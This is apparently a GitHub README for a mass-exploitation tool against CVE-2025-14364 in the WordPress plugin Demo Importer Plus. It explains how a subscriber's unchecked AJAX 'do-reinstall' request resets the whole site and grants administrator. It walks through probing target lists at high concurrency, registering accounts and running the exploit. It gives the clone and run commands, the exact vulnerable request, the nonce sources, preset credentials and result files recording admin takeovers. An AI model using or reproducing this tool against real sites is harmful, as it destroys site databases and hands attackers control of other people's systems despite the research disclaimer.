nxploited/cve-2025-14364Demo Importer Plus <= 2.0.8 - Falta de Autorização para Redefinição do Site Autenticada (Assinante+) e Escalação de Privilégios
Demo Importer Plus <= 2.0.8 - Falta de Autorização para Usuário Autenticado (Assinante+) Redefinição do Site e Escalação de Privilégio
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
Assinante Autenticado → Administrador via ação AJAX
do-reinstall
Causa Raiz:
Ajax::handle_request() registra a ação AJAX demo_importer_plus sem chamar current_user_can(). Qualquer assinante autenticado pode enviar {"demo_action":"do-reinstall"} para acionar wp_install(), que remove todas as tabelas do banco de dados (exceto users / usermeta) e reexecuta a configuração do WordPress — atribuindo automaticamente o papel de Administrador à conta atacante no processo.
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
Formato dos alvos — list.txt:
https://target1.com
target2.com
http://target3.com
Sonda quatro endpoints por host e escreve resultados limpos.
Mode: 1
Saída → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
Verifique sua caixa de entrada e clique no link de ativação antes de executar o Modo 3.
Saída → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
Em caso de sucesso, a ferramenta imprime:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
E escreve em exploit_results.txt:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
Requisição vulnerável:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
Resposta bem-sucedida:
{"success": true, "data": {"message": "Site has been reset successfully"}}
Extração do nonce — duas fontes alternativas:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.
The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.
Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.
You alone are responsible for ensuring you have lawful permission
before running this tool against any target.
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Plugin | Demo Importer Plus |
| Afetado | Todas as versões ≤ 2.0.8 |
| Autenticação necessária | Assinante (função mais baixa registrada) |
| Tipo | Falta de Verificação de Capacidade → Redefinição Completa do Site → Escalação de Privilégio |
| CWE | CWE-862 · Falta de Autorização |
| Arquivo | Conteúdo |
|---|
diagnostics_results.txt | JSON completo da sonda por alvo |
passed_targets.txt | Alvos limpos (nenhum erro detectado) |
register_results.txt | Registros de tentativa de registro |
exploit_results.txt | Login · nonce · resultados de reset · acertos admin confirmados |
reset_results.txt | Resposta bruta de do-reinstall por alvo |